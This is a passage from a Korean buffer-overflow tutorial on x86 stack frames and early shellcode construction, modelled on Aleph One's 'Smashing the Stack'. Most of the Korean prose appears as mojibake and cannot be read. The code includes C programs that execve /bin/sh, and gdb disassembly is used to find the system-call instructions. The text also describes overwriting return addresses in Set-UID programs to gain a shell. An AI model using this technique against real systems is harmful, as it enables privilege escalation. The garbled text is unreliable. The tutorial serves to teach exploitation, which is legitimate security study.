¸¦ À§Ä¡ ½ÃÅ´À¸·Î½á °¡´ÉÇØÁø´Ù. ÀÌÁ¦ %esp ¿Í
%ebp ´Â ¶È°°Àº ¸Þ¸ð¸® address¸¦
°¡¸£Å°°í ÀÖ´Ù. (ÀÌ ÁÖ¼Ò´Â ÀÌÀüÀÇ »óŸ¦ ´ã°í
ÀÖ´Â address ÀÌ´Ù.[environment address]) | |
ÀÌÁ¦ ½ºÅÿ¡ Áö¿ª º¯¼ö¸¦ ÀúÀåÇϱâ À§ÇÑ °ø°£À»
È®º¸ÇØ¾ß ÇÑ´Ù. ÀÌ ¹®ÀÚ¿¹è¿Àº 5°³ÀÇ ¿ä¼Ò·Î
±¸¼ºµÇ¾îÀÖ°í(char str[5] = "abcde";),char ÇüÀÌ
1 byteÀÇ Å©±âÀ̱⠶§¹®¿¡ 5 bytesÀÇ °ø°£¸¸
È®º¸Çϸé ÃæºÐÇÒ °ÍÀ¸·Î º¸ÀδÙ. ÇÏÁö¸¸ ½ºÅÃÀº
¿ÀÁ÷ words´ÜÀ§·Î ´Ù·ç¾îÁö±â ¶§¹®¿¡ wordÀÇ
¹è¼ö(1 word, 2 words, 3 words...)·Î
ÀúÀåµÇ¾î¾ß ÇÑ´Ù. word°¡ 4bytesÀÏ °æ¿ì 5bytes¸¦
ÀúÀåÇϱâ À§Çؼ´Â 8bytesÀÇ °ø°£ÀÌ ÇÊ¿äÇÏ´Ù.(2 words)
±×¸²¿¡¼ »öÄ¥µÈ ºÎºÐÀº ¹®ÀÚ¿ ºÎºÐÀº ¾Æ´ÏÁö¸¸
ÀÌ·¯ÇÑ ¹ýÄ¢¿¡ ÀÇÇؼ °ø°£ÀÌ »ç¿ëµÈ´Ù.
intÇü k ´Â 4 bytesÀÇ °ø°£À» »ç¿ëÇÑ´Ù.(int k = 3;)
ÀÌ °ø°£Àº %esp ¿¡¼ 0xc (½ÊÁø¼ö·Î 12)
¸¸ÅÀÇ °ªÀ» °¨¼Ò½ÃÅ´À¸·Î½á È®º¸µÈ´Ù. À̸¦ ÅëÇØ Áö¿ªº¯¼ö´Â
8+4=12 bytes (i.e. 3 words)¸¦ »ç¿ëÇÑ´Ù´Â °ÍÀ» ¾Ë ¼ö ÀÖ´Ù. |
ÀÌ chapterÀÇ ³»¿ë¿¡¼´Â Á¶±Ý ¹þ¾î³ À̾߱âÁö¸¸
Áö¿ªº¯¼ö¿¡¼ ´ëÇؼ ¾Ë¾ÆµÎ¾î¾ß ÇÒ Áß¿äÇÑ »çÇ×ÀÌ ÀÖ´Ù.
±×°ÍÀº Áö¿ªº¯¼öµéÀÌ %ebp
¿Í °ü·ÃµÉ¶§ À½ÀÇ offset(negative offset)
À» °¡Áø´Ù´Â °ÍÀÌ´Ù. ¿¹Á¦ÀÇ main()
ÇÔ¼ö¿¡¼
i = 0;
À̶ó´Â ¸í·ÉÀ» ÅëÇؼ ÀÌ°ÍÀ» »ìÆ캸·Á ÇÑ´Ù.
assembly code¿¡¼´Â °£Á¢ÁÖ¼Ò¹æ½ÄÀ¸·Î º¯¼ö i
¸¦ accessÇÑ´Ù:
0x8048411 <main+25>: movl $0x0,0xfffffffc(%ebp)
hex°ª 0xfffffffc
Àº int Çü -4
¸¦ ÀǹÌÇÑ´Ù.
ÀÌ Ç¥ÇöÀº °ª 0
À» %ebp
¿¡ ´ëÇØ -4bytes
¶³¾îÁø °÷¿¡ ÀÖ´Â º¯¼ö¿¡ ÀúÀåÇÑ´Ù °ÍÀ» ÀǹÌÇÑ´Ù.
i
´Âmain()
ÇÔ¼ö¿¡¼ Çϳª»ÓÀÎ Áö¿ªº¯¼öÀ̸ç
°¡Àå ¸ÕÀú ³ª¿Â Áö¿ªº¯¼öÀ̹ǷΠ%ebp
¾Æ·¡ 4bytes(intÇüÀÇ size)
¸¸Å ¶³¾îÁø °÷¿¡ À§Ä¡ÇÑ´Ù. ÇÔ¼öÀÇ prologºÎºÐÀº ´ÜÁö È£ÃâµÈ ÇÔ¼ö¸¦ À§ÇÑ È¯°æÀ» Á¶¼ºÇÏ´Â ¿ªÇÒ ¹Û¿¡ ÇÏÁö ¾Ê´Â´Ù. ÇÔ¼ö°¡ ÀÎÀÚ¸¦ Àü´Þ¹Þ°í ±× ÇÔ¼öÀÇ ¼öÇàÀÌ ³¡³µÀ» ¶§ È£ÃâµÈ ÇÔ¼öÀÇ ÀÚ¸®·Î µ¹¾Æ°¡´Â ¿ªÇÒÀº ÇÔ¼öÀÇ È£Ãâ(the function call)ÀÌ ´ã´çÇÑ´Ù.
¿¹Á¦¿¡¼ÀÇ ÇÔ¼öÈ£ÃâºÎºÐÀº toto(1,2);
ÀÌ´Ù.
±×·³,toto()ÇÔ¼ö¸¦ È£ÃâÇßÀ»¶§ ¾î¶²ÀÏÀÌ ÀϾ´ÂÁö ±×¸²À» ÅëÇؼ
¾Ë¾Æº¸µµ·Ï ÇÏÀÚ.
ÇÔ¼ö°¡ È£ÃâµÇ±â Àü¿¡ ÇÔ¼ö·Î Àü´ÞµÇ´Â ÀÎÀÚµé(toto(1,2);¿¡¼
1°ú2)Àº ½ºÅÿ¡ ÀúÀåµÈ´Ù. µû¶ó¼ ±×¸²¿¡¼Ã³·³ 1°ú 2´Â
ÃÖ±Ù¿¡ »ç¿ëµÈ ½ºÅÃÀÇ ½ÃÀۺκп¡ ¸ÕÀú ½×ÀÌ°Ô µÈ´Ù. ±×¸²¿¡
³ªÅ¸³ °Íó·³ %eip ´Â ´ÙÀ½¿¡ ½ÇÇàÇÒ ¸í·É(instruction)
ÀÇ ÁÖ¼Ò¸¦ °¡Áö°í ÀÖÀ¸¸ç ¿©±â¿¡¼ ±× ÁÖ¼Ò´Â ¹Ù·Î ÇÔ¼ö È£Ãâ
(the function call)¸í·ÉÀÌ Àִ°÷ÀÇ ÁÖ¼ÒÀÌ´Ù. | |
push %eip call ÀÇ ÀÎÀÚ(À̱ۿ¡¼´Â call 0x80483d0
toto() ÀÇ 0x80483d0 )·Î´Â toto() ÇÔ¼öÀÇ
prologºÎºÐÀÇ Ã¹¹ø° ¸í·É¾î ÁÖ¼Ò¿Í °°Àº °ªÀÌ ÁÖ¾îÁø´Ù.
ÀÌ ÁÖ¼Ò´Â %eip ¿¡ º¹»çµÇ¸ç,<±×¸² 5>¿¡¼¿Í °°ÀÌ
´ÙÀ½¿¡ ½ÇÇàÇÒ ¸í·É¾î(push %ebp )¸¦ °¡¸£Å°°Ô µÈ´Ù. |
ÇÔ¼ö¾È¿¡¼ ¾î¶² °ÍÀÌ ½ÇÇàµÉ ¶§¿¡´Â ±×°ÍÀÇ
ÀÎÀÚµé°ú ¸®ÅÏ ¾îµå·¹½º´Â %ebp
¿¡ ´ëÇØ ¾çÀÇ offset(positive
offset)À» °¡Áø´Ù. ÀÌ´Â next instructionÀÌ %ebp
¸¦
½ºÅÃÀÇ ÃÖ»óÀ§(top)¿¡ ³Ö±â(push)Çϱ⠶§¹®ÀÌ´Ù. toto()
ÇÔ¼ö¾È¿¡
ÀÖ´Â j= 0;
À̶ó´Â ¸í·ÉÀ» °¡Áö°í À̸¦ ¾Ë¾Æº¸ÀÚ.
¾î¼Àºí¸® ÄÚµå´Â j
¸¦ °£Á¢¾×¼¼½ºÇϱâ À§ÇØ »ç¿ëµÇ¾ú´Ù:
0x80483ed <toto+29>: movl $0x0,0xc(%ebp)
hex°ª 0xc
´Â integer +12
¸¦ ³ªÅ¸³½´Ù.
µû¶ó¼ À§ÀÇ ¸í·ÉÀº %ebp
¿¡ ´ëÇÏ¿© "+12bytes"¸¸Å
¶³¾îÁø °÷¿¡ ÀÖ´Â º¯¼ö¿¡ 0
À̶õ °ªÀ» ³Ö°Ú´Ù´Â ¶æÀÌ´Ù.
j
´Â ÇÔ¼öÀÇ µÎ¹ø° ÀÎÀÚÀ̸ç, %ebp
ÀÇ
ÃÖ»óÀ§("on top")¿¡¼ 12bytes¶³¾îÁø °÷¿¡ À§Ä¡ÇÑ´Ù.
(4bytes´Â instruction pointer backup(À§¿¡¼ ¼³¸íÇÑ
callÀÇ µ¿ÀÛÀ» ¸»ÇÑ´Ù.)ÀÌ°í, 4bytes´Â ù¹ø° ÀÎÀÚ(1)ÀÌ°í ±× ´ÙÀ½
4bytes°¡ ¹Ù·Î µÎ¹ø° ÀÎÀÚÀÇ ÀÚ¸®ÀÌ´Ù.) ÇÔ¼ö¿¡¼ ¹þ¾î³¯ ¶§¿¡´Â µÎ°¡Áö µ¿ÀÛÀÌ ÀϾÙ. ù¹ø°´Â,
ÇÔ¼ö¸¦ À§ÇØ ¸¸µé¾ú´ø ȯ°æÀ» ±ú²ýÀÌ ¾ø¾Ö´Â °ÍÀÌ´Ù.
(ÀÌ´Â ÇÔ¼öÈ£Ãâ(call) ÀÌÀüÀÇ »óÅ·Π%ebp
¿Í
%eip
¸¦ µ¹·Á³ö¾ß ÇÔÀ» ÀǹÌÇÑ´Ù.). ÀÌ°ÍÀÌ ³¡³ª¸é ¿ì¸®´Â
ÇÔ¼ö¿Í °ü°èµÈ Á¤º¸¸¦ ¾ò±â À§ÇØ ½ºÅÃÀ» °Ë»çÇÏ°í ÇÔ¼ö¸¦ ºüÁ®³ª°¡±â¸¸
ÇÏ¸é µÈ´Ù.
ù¹ø° µ¿ÀÛÀº ÇÔ¼ö¿¡¼ ´ÙÀ½ÀÇ ¸í·ÉÀ¸·Î ¼öÇàµÈ´Ù :
leave ret
µÎ¹ø° µ¿ÀÛÀº ÇÔ¼ö°¡ È£ÃâµÇ¾úÀ»¶§ ½ºÅÿ¡ À§Ä¡ÇÏ´Â ÇÔ¼öÀÇ ÀÎÀÚ¸¦ ½ºÅÿ¡¼ û¼ÒÇÏ´Â ÀÛ¾÷À» ÇÑ´Ù.
toto()
ÇÔ¼ö¸¦ °¡Áö°í ÀÌ·¯ÇÑ µ¿ÀÛÀ» »ìÆ캸±â·Î ÇÏÀÚ.
¾ÕÀÇ ±Û¿¡¼ ´Ù·é È£Ãâ°ú prolog°¡ ÀϾ±â ÀüÀÇ »óÅ¿¡
´ëÇؼ ´Ù½Ã Çѹø ¶°¿Ã·Á º¸ÀÚ. ÇÔ¼ö È£ÃâÀÌ ÀϾ±â Àü¿¡,
%ebp ´ÂX ¶ó´Â ÁÖ¼Ò¸¦ °¡Áö°í ÀÖ¾ú°í,
%esp ´Â Y ¶ó´Â ÁÖ¼Ò¸¦ °¡Áö°í ÀÖ¾ú´Ù.
±×¸²¿¡¼ º¸µíÀÌ ÇÔ¼ö°¡ È£ÃâµÇ°í ³ ÈÄ¿¡´Â ÇÔ¼öÀÇ ÀÎÀÚ¿Í
ÀúÀåµÈ %eip (¸®ÅÏ ¾îµå·¹½º)¿Í %ebp (sfp)
,±×¸®°í Áö¿ªº¯¼ö¸¦ À§ÇÑ °ø°£ÀÌ È®º¸µÇ¾î ½ºÅÿ¡ ÀúÀåµÇ¾î
ÀÖ´Ù. ÀÌ·¯ÇÑ µ¿ÀÛµé ÀÌÈÄ¿¡ ½ÇÇàµÉ ¸í·ÉÀÌ ¹Ù·Î leave ÀÌ´Ù. |
|
leave ¸í·ÉÀº ¾Æ·¡ÀÇ ¸í·É¾îµéÀ» ¼öÇàÇÏ´Â °Í°ú °°Àº
µ¿ÀÛÀ» ÇÑ´Ù:
ù¹ø° µ¿ÀÛÀºmov ebp esp pop ebp %esp ¿Í %ebp ¸¦ ½ºÅÿ¡¼
°°Àº À§Ä¡¿¡ ³õ´Â ¿ªÇÒÀ» ÇÑ´Ù. µÎ¹ø° µ¿ÀÛÀº ½ºÅÃÀÇ ÃÖ»óÀ§(top)¿¡
ÀÖ´Â °ª(X ¶ó´Â address)À» %ebp ¿¡ ³Ö´Â
¿ªÇÒÀ» ÇÑ´Ù(%esp ¿Í %ebp °¡ °°Àº À§Ä¡¸¦
°¡¸£Å°°í %ebp °¡ popµÇ¸é °á°úÀûÀ¸·Î %esp
°¡ 4¹ÙÀÌÆ®¸¸Å Áõ°¡ÇÏ°Ô µÈ´Ù.).leave ¸í·É¾î Çϳª¸¸À¸·Î,
½ºÅÿ¡¼ prologµ¿ÀÛÀ» ÇÏÁö ¾ÊÀº °Íó·³ º¸ÀÌ°Ô µÈ´Ù. |
|
ret ¸í·É¿¡´Â ÇÔ¼ö°¡ ¼öÇàµÇ°í ³ ÈÄ(leaving)¿¡
½ÇÇàµÉ °ÍÀÇ ÁÖ¼Ò¸¦ °¡Áö°í ÀÖ´Â %eip °¡ Æ÷ÇԵǾî ÀÖ´Ù.
À̶§¹®¿¡ %eip µµ ½ºÅÃÀÇ ÃÖ»óÀ§(top)¿¡¼ Á¦°Å½ÃÄÑ¾ß ÇÑ´Ù.
¾ÆÁ÷Àº ÇÔ¼öÀÇ ÀÎÀÚ°¡ ½ºÅÿ¡ ³²¾ÆÀÖÀ¸¹Ç·Î ÃʱâÈ »óÅ°¡ µÇÁö ¾Ê¾Ò´Ù.
À̵éÀ» Á¦°ÅÇϱâ À§ÇØ |
|
ÀÎÀÚµéÀº ½ºÅÿ¡ ½×¿©ÀÖ´Ù°¡ ÇÔ¼ö°¡ ¼öÇàµÈ ÈÄ¿¡´Â ½ºÅÿ¡¼
»ç¶óÁö°Ô µÈ´Ù(unstacking). ÀÌ°úÁ¤À» À§ÀÇ ±×¸²¿¡¼ È£ÃâµÈ ÇÔ¼öÀÇ
¸í·É¾î¿Í È£ÃâÇÑ ÇÔ¼öÀÇ ¸í·É¾î add 0x8, %esp ·Î ³ªÅ¸³Â´Ù.
(È£ÃâµÈ ÇÔ¼ö(called function)°ú È£ÃâÇÑ ÇÔ¼ö(calling function)ÀÇ
±¸ºÐÀº Á¡¼±À¸·Î ÇÏ¿´´Ù.). À̸í·É(add 0x8, %esp )Àº
%esp ¸¦ ½ºÅÃÀÇ ÃÖ»óÀ§(top)À¸·Î µ¹·Á³õ´Â´Ù.
¿©±â¼ 0x8 Àº toto() ÇÔ¼öÀÇ ÀÎÀÚµéÀÌ
»ç¿ëÇÑ bytes¼ö¸¦ ¶æÇÑ´Ù. %esp ,%ebp ´Â
ÀÌÁ¦ ÇÔ¼öÈ£Ãâ(call)ÀüÀÇ »óȲÀÌ µÇ¾ú´Ù. ¹Ý¸é¿¡ %eip °¡
´Þ¶óÁø °ÍÀ» ±×¸²À» ÅëÇؼ ¾Ë ¼ö ÀÖ´Ù. |
gdb¸¦ »ç¿ëÇÏ¿© main()ÇÔ¼ö¿Í function()ÇÔ¼öÀÇ ¾î¼Àºí¸® Äڵ带 ¾òÀ» ¼ö ÀÖ´Ù:
µû·Î ÁÖ¼®À» ´ÞÁö ¾ÊÀº ºÎºÐÀÇ ¸í·ÉµéÀº ´ëºÎºÐ instance¿¡ ÇÒ´çÇÏ´Â ¸í·ÉµéÀÌ´Ù.>>gcc -g -o fct fct.c >>gdb fct GNU gdb 19991004 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"... (gdb) disassemble main //main Dump of assembler code for function main: 0x80483f8 <main>: push %ebp //prolog 0x80483f9 <main+1>: mov %esp,%ebp 0x80483fb <main+3>: sub $0x4,%esp 0x80483fe <main+6>: movl $0x1,0xfffffffc(%ebp) 0x8048405 <main+13>: push $0x2 //call 0x8048407 <main+15>: push $0x1 0x8048409 <main+17>: call 0x80483d0 <toto> 0x804840e <main+22>: add $0x8,%esp //return from toto() 0x8048411 <main+25>: movl $0x0,0xfffffffc(%ebp) 0x8048418 <main+32>: mov 0xfffffffc(%ebp),%eax 0x804841b <main+35>: push %eax //call 0x804841c <main+36>: push $0x8048486 0x8048421 <main+41>: call 0x8048308 <printf> 0x8048426 <main+46>: add $0x8,%esp //return from printf() 0x8048429 <main+49>: leave //return from main() 0x804842a <main+50>: ret End of assembler dump. (gdb) disassemble toto //toto Dump of assembler code for function toto: 0x80483d0 <toto>: push %ebp //prolog 0x80483d1 <toto+1>: mov %esp,%ebp 0x80483d3 <toto+3>: sub $0xc,%esp 0x80483d6 <toto+6>: mov 0x8048480,%eax 0x80483db <toto+11>: mov %eax,0xfffffff8(%ebp) 0x80483de <toto+14>: mov 0x8048484,%al 0x80483e3 <toto+19>: mov %al,0xfffffffc(%ebp) 0x80483e6 <toto+22>: movl $0x3,0xfffffff4(%ebp) 0x80483ed <toto+29>: movl $0x0,0xc(%ebp) 0x80483f4 <toto+36>: jmp 0x80483f6 <toto+38> 0x80483f6 <toto+38>: leave //return from toto() 0x80483f7 <toto+39>: ret End of assembler dump.
ÇÔ¼öÀÇ return address¸¦ ÀÓÀÇÀÇ ÁÖ¼Ò·Î Á¶ÀÛÇÒ °æ¿ì ÇÁ·Î±×·¥ÀÇ ½ºÅÿµ¿ª¿¡¼ ƯÁ¤Äڵ带 ½ÇÇà½Ãų ¼ö ÀÖ´Ù. À̶§, crackerÀÇ °ü½ÉÀ» ²ø¾î´ç±â´Â ºÎºÐÀº ÇÁ·Î±×·¥(application)ÀÌ userÀÇ ID°¡ ¾Æ´Ñ ƯÁ¤ ID,Áï, Set-UID³ª daemonÀ¸·Î ½ÇÇàµÇ°í ÀÖ´Ù´Â »ç½ÇÀÏ °ÍÀÌ´Ù. ÀÌ·± Á¾·ùÀÇ ½Ç¼ö°¡ document reader°°Àº ÇÁ·Î±×·¥¿¡¼ ÀÏ¾î³´Ù¸é »ó´çÈ÷ À§ÇèÇÏ´Ù°í ÇÒ ¼ö ÀÖ´Ù. ´ëÇ¥ÀûÀÎ ¿¹·Î Acrobat Reader bug¸¦ µé ¼ö Àִµ¥ ÀÌ bug´Â buffer overflow¸¦ ÀÌ¿ëÇÏ¿© ¹®¼¸¦ Á¶ÀÛÇÒ ¼ö ÀÖ´Â bugÀÌ´Ù. ¶ÇÇÑ,ÀÌ·¯ÇÑ À§Ç輺Àº network services(i.e: imap) ¿¡µµ Á¸ÀçÇÏ°í ÀÖÀ½À» ¾Ë¾ÆµÎ±æ ¹Ù¶õ´Ù.
´ÙÀ½ Àå¿¡¼´Â, ½ÇÇà¸í·ÉÀ» »ç¿ëÇÒ ¼ö ÀÖ´Â ¹æ¹ý¿¡ ´ëÇؼ ´Ù·ç°íÀÚ ÇÑ´Ù.
¿©±â¿¡¼´Â main application¿¡¼ ½ÇÇàµÇ±æ ¿øÇÏ´Â code¿¡ ´ëÇؼ ºÐ¼®ÇÑ´Ù.
½ÇÇà¸í·ÉÀ» »ç¿ëÇϱâ À§ÇÑ °¡Àå °£´ÜÇÑ ÇØ°áÃ¥Àº shellÀ» ½ÇÇà½ÃÅ°´Â °£´ÜÇÑ
Äڵ带 ¸¸µå´Â °ÍÀÌ´Ù. ´ç½ÅÀº /etc/passwd
ÆÄÀÏÀÇ ±ÇÇÑÀ»
¹Ù²Ù´Â ÀϵîÀÇ µ¿ÀÛÀ» ¼öÇàÇÒ ¼ö ÀÖ°Ô µÉ °ÍÀÌ´Ù. ÀÌ°ÍÀ» ±ÛÀÇ ¸¶Áö¸·¿¡
À̸£·¯¼¾ß ´Ù·ç´Â ÀÌÀ¯´Â ÀÌ ÇÁ·Î±×·¥À» Assembly language·Î Â¥¾ßÇϱâ
¶§¹®ÀÌ´Ù. shellÀ» ½ÇÇà½ÃÅ°´Â ÀÌ·± ÀÛÀº ÇÁ·Î±×·¥µéÀ» ÀϹÝÀûÀ¸·Î
shell¶ó°í ºÎ¸¥´Ù.
À̱ۿ¡ ¾²ÀÎ ¿¹Á¦µéÀº Phrack magazine 49¿¡ ½Ç¸° Aleph OneÀÇ "Smashing the Stack for Fun and Profit"¿¡¼ ¸¹Àº ¿µ°¨À» ¾ò¾ú´Ù.
shellcodeÀÇ ¸ñÀûÀº ¹Ù·Î shellÀ» ½ÇÇà½ÃÅ°´Â °ÍÀÌ´Ù. ÀÌ°ÍÀ» C¾ð¾î·Î ±¸ÇöÇÏ¸é ´ÙÀ½°ú °°´Ù:
/* shellcode1.c */ #include <stdio.h> #include <unistd.h> int main() { char * name[] = {"/bin/sh", NULL}; execve(name[0], name, NULL); return (0); }
ÇÔ¼ö¸¦ ÀÌ¿ëÇÏ¿© shellÀ» È£ÃâÇÏ´ÂÀÏÀÌ °¡´ÉÇѵ¥,
¿©·¯°¡Áö ÀÌÀ¯·Î execve()
ÇÔ¼ö°¡ ¸¹ÀÌ ÀÌ¿ëµÈ´Ù.
ù°´Â exec()
°è¿ÀÇ ´Ù¸¥ ÇÔ¼öµé°ú´Â ´Þ¸®
Ç¥ÁØ system-call(true system-call)À̶ó´Â °ÍÀÌ´Ù.
½ÇÁ¦·Î, execve()
·Î ºÎÅÍ ´Ù¸¥ exec()
°è¿ÀÇ
GlibC library ÇÔ¼ö°¡ ¸¸µé¾îÁ³´Ù. system-callÀº interrupt¿¡ ÀÇÇØ
½ÇÇàµÈ´Ù. ÀÌ·¯ÇÑ Æ¯Â¡Àº ·¹Áö½ºÅ͸¦ Á¤ÀÇÇϱ⿡ ÃæºÐÇϸç,
±× ÇÔ¼öÀÇ ³»¿ë¹°À» ÅëÇØ È¿°úÀûÀ̸ç ªÀº assembly code¸¦
¾òÀ» ¼ö ÀÖ´Ù´Â ÀåÁ¡À» °¡Áø´Ù.
´õ±¸³ª,execve()
ÀÇ È£ÃâÀÌ ¼º°øÇßÀ»¶§´Â,
execve()
¸¦ È£ÃâÇÑ ÇÁ·Î±×·¥ (¿©±â¼´Âmain application)ÀÌ
»õ·Î¿î ÇÁ·Î±×·¥ÀÇ ½ÇÇà°¡´ÉÇÑ ÄÚµå(executable code)·Î
´ëüµÈ´Ù´Â ÀåÁ¡À» °¡Áø´Ù. execve()
ÀÇ
È£ÃâÀÌ ½ÇÆÐÇÏ´õ¶óµµ ÇÁ·Î±×·¥Àº °è¼Ó ½ÇÇàµÈ´Ù. À̱ۿ¡¼´Â
execve()
Äڵ带 °ø°ÝÇÒ ÇÁ·Î±×·¥ÀÇ Áß°£¿¡ »ðÀÔÇÏ¿´´Ù.
execve()
È£ÃâÀÌ ½ÇÆÐÇÏ´õ¶óµµ, ÇÁ·Î±×·¥À» °è¼Ó ½ÇÇà½ÃÅ°´Â °ÍÀº
¹«ÀǹÌÇÏ´Ù. ½ÇÇàÀº °¡´ÉÇÏ¸é »¡¸® ³¡³ª¾ß ÇÑ´Ù. return(0)
À»
main()
ÇÔ¼ö¿¡¼ È£ÃâÇϸé ÇÁ·Î±×·¥À» ³¡³»´Â ¿ªÇÒÀ» ÇÏÁö¸¸
¿©±â¼´Â ±× ¿ªÇÒÀ» Á¦´ë·Î ¼öÇàÇÏÁö ¸øÇÑ´Ù. µû¶ó¼ exit()
ÇÔ¼ö¸¦
»ç¿ëÇÏ¿© ÇÁ·Î±×·¥À» °Á¦·Î Á¾·á½ÃÄÑ¾ß ÇÑ´Ù.
/* shellcode2.c */ #include <stdio.h> #include <unistd.h> int main() { char * name [] = {"/bin/sh", NULL}; execve (name [0], name, NULL); exit (0); }
»ç½Ç exit()
´Â ½ÇÁ¦ system-callÀÎ _exit()
¸¦ ½Î°í ÀÖ´Â ¶ÇÇϳªÀÇ ¶óÀ̺귯¸® ÇÔ¼öÀÌ´Ù. »õ·Î¿î Äڵ忡¼´Â
_exit()
¸¦ ½á¼ ½Ã½ºÅÛÂÊ¿¡ ´õ °¡±õ°Ô ÇÏ¿´´Ù:
/* shellcode3.c */ #include <unistd.h> #include <stdio.h> int main() { char * name [] = {"/bin/sh", NULL}; execve (name [0], name, NULL); _exit(0); }´ÙÀ½Àå¿¡¼´Â ÇÁ·Î±×·¥°ú ÀÌ ÇÁ·Î±×·¥ÀÇ ¾î¼Àºí¸® Äڵ带 ºñ±³Çغ¼ °ÍÀÌ´Ù.
gcc
¿Í gdb
¸¦ ÀÌ¿ëÇÏ¿© ¾ÕÀå¿¡¼
ÇÁ·Î±×·¡¹ÖÇÑ°Í¿¡ ÇØ´çÇÏ´Â assembly instructionÀ»
¾òÀ» ¼ö ÀÖ´Ù. shellcode3.c
¸¦ µð¹ö±ë¿É¼Ç(-g
)°ú
°øÀ¯¶óÀ̺귯¸®¸¦ Æ÷ÇÔÇϱâ À§ÇÑ ¿É¼Ç(--static
)
À» Ãß°¡ÇÏ¿© ÄÄÆÄÀÏÇÑ´Ù. À̸¦ ÅëÇÏ¿©, ¿ì¸®´Â
system-callÀÎ _execve()
¿Í _exit()
ÀÇ µ¿ÀÛÀ»
ÀÌÇØÇÒ ¼ö ÀÖ´Â ÃæºÐÇÑ Á¤º¸¸¦ ¾òÀ» ¼ö ÀÖ´Ù.
$ gcc -o shellcode3 shellcode3.c -O2 -g --static´ÙÀ½À¸·Î,
gdb
¸¦ »ç¿ëÇÏ¿© ÇÁ·Î±×·¥ÀÇ ¾î¼Àºí¸® Äڵ带
»ìÆ캼 °ÍÀÌ´Ù. ÀÌ°ÍÀº InterÇ÷§ÆûÀÇ linux¿¡¼ Å×½ºÆ®
ÇÑ°ÍÀÌ´Ù.(i386°ú ±× À§ÀÇ ¹öÀü)
Next, with gdb
, we look for our functions Assembly
equivalent. This is for Linux on Intel platform (i386 and up).
$ gdb shellcode3 GNU gdb 4.18 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"...¾Æ·¡´Â
main()
ÇÔ¼öÀÇ ¾î¼Àºí¸® ÄÚµåÀÌ´Ù.
(gdb) disassemble main Dump of assembler code for function main: 0x8048168 <main>: push %ebp 0x8048169 <main+1>: mov %esp,%ebp 0x804816b <main+3>: sub $0x8,%esp 0x804816e <main+6>: movl $0x0,0xfffffff8(%ebp) 0x8048175 <main+13>: movl $0x0,0xfffffffc(%ebp) 0x804817c <main+20>: mov $0x8071ea8,%edx 0x8048181 <main+25>: mov %edx,0xfffffff8(%ebp) 0x8048184 <main+28>: push $0x0 0x8048186 <main+30>: lea 0xfffffff8(%ebp),%eax 0x8048189 <main+33>: push %eax 0x804818a <main+34>: push %edx 0x804818b <main+35>: call 0x804d9ac <__execve> 0x8048190 <main+40>: push $0x0 0x8048192 <main+42>: call 0x804d990 <_exit> 0x8048197 <main+47>: nop End of assembler dump. (gdb)À§ÀÇ ¿¹¸¦ ÅëÇØ,main()ÇÔ¼öÀÇ
0x804818b
¿Í 0x8048192
¿¡¼ ½ÇÁ¦ÀûÀÎ system-callÀ» °¡Áö°í ÀÖ´Â C library subroutineÀ» È£ÃâÇÏ´Â °ÍÀ»
º¼ ¼ö ÀÖ´Ù.0x804817c : mov $0x8071ea8,%edx
¸í·É¾î´Â
ÁÖ¼Òó·³ º¸ÀÌ´Â °ªÀ» %edx
¿¡ ä¿î´Ù. ÀÌ ÁÖ¼Ò¿¡ ÀÖ´Â ³»¿ëÀ»
¾Æ·¡ ¸í·ÉÀ» »ç¿ëÇÏ¿© ¹®ÀÚ¿·Î ³ªÅ¸³»º¸ÀÚ:
(gdb) printf "%s\n", 0x8071ea8 /bin/sh (gdb)ÀÌÁ¦ ¿ì¸®´Â ¹®ÀÚ¿ÀÌ ¾îµð¿¡ ÀÖ´ÂÁö ¾Ë¾Ò´Ù.ÀÌÁ¦
execve()
ÇÔ¼ö¿Í
_exit()
ÇÔ¼öÀÇ disassemble Äڵ带 »ìÆ캸ÀÚ:
(gdb) disassemble __execve Dump of assembler code for function __execve: 0x804d9ac <__execve>: push %ebp 0x804d9ad <__execve+1>: mov %esp,%ebp 0x804d9af <__execve+3>: push %edi 0x804d9b0 <__execve+4>: push %ebx 0x804d9b1 <__execve+5>: mov 0x8(%ebp),%edi 0x804d9b4 <__execve+8>: mov $0x0,%eax 0x804d9b9 <__execve+13>: test %eax,%eax 0x804d9bb <__execve+15>: je 0x804d9c2 <__execve+22> 0x804d9bd <__execve+17>: call 0x0 0x804d9c2 <__execve+22>: mov 0xc(%ebp),%ecx 0x804d9c5 <__execve+25>: mov 0x10(%ebp),%edx 0x804d9c8 <__execve+28>: push %ebx 0x804d9c9 <__execve+29>: mov %edi,%ebx 0x804d9cb <__execve+31>: mov $0xb,%eax 0x804d9d0 <__execve+36>: int $0x80 0x804d9d2 <__execve+38>: pop %ebx 0x804d9d3 <__execve+39>: mov %eax,%ebx 0x804d9d5 <__execve+41>: cmp $0xfffff000,%ebx 0x804d9db <__execve+47>: jbe 0x804d9eb <__execve+63> 0x804d9dd <__execve+49>: call 0x8048c84 <__errno_location> 0x804d9e2 <__execve+54>: neg %ebx 0x804d9e4 <__execve+56>: mov %ebx,(%eax) 0x804d9e6 <__execve+58>: mov $0xffffffff,%ebx 0x804d9eb <__execve+63>: mov %ebx,%eax 0x804d9ed <__execve+65>: lea 0xfffffff8(%ebp),%esp 0x804d9f0 <__execve+68>: pop %ebx 0x804d9f1 <__execve+69>: pop %edi 0x804d9f2 <__execve+70>: leave 0x804d9f3 <__execve+71>: ret End of assembler dump. (gdb) disassemble _exit Dump of assembler code for function _exit: 0x804d990 <_exit>: mov %ebx,%edx 0x804d992 <_exit+2>: mov 0x4(%esp,1),%ebx 0x804d996 <_exit+6>: mov $0x1,%eax 0x804d99b <_exit+11>: int $0x80 0x804d99d <_exit+13>: mov %edx,%ebx 0x804d99f <_exit+15>: cmp $0xfffff001,%eax 0x804d9a4 <_exit+20>: jae 0x804dd90 <__syscall_error> End of assembler dump. (gdb) quit½ÇÁ¦ Ä¿³Î È£ÃâÀº
0x80
interrupt¸¦ ÅëÇØ ÀÌ·ç¾îÁø´Ù.
execve()
ÇÔ¼ö´Â0x804d9d0
, _exit()
ÇÔ¼ö´Â 0x804d99b
